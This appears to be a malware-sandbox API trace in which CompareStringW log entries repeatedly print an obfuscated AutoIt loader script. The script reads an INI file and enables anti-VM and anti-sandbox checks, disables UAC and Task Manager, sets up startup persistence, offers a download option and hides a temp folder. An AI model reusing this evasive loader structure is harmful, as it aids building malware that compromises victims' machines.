lpString1="\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB9", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Global Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="obal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If 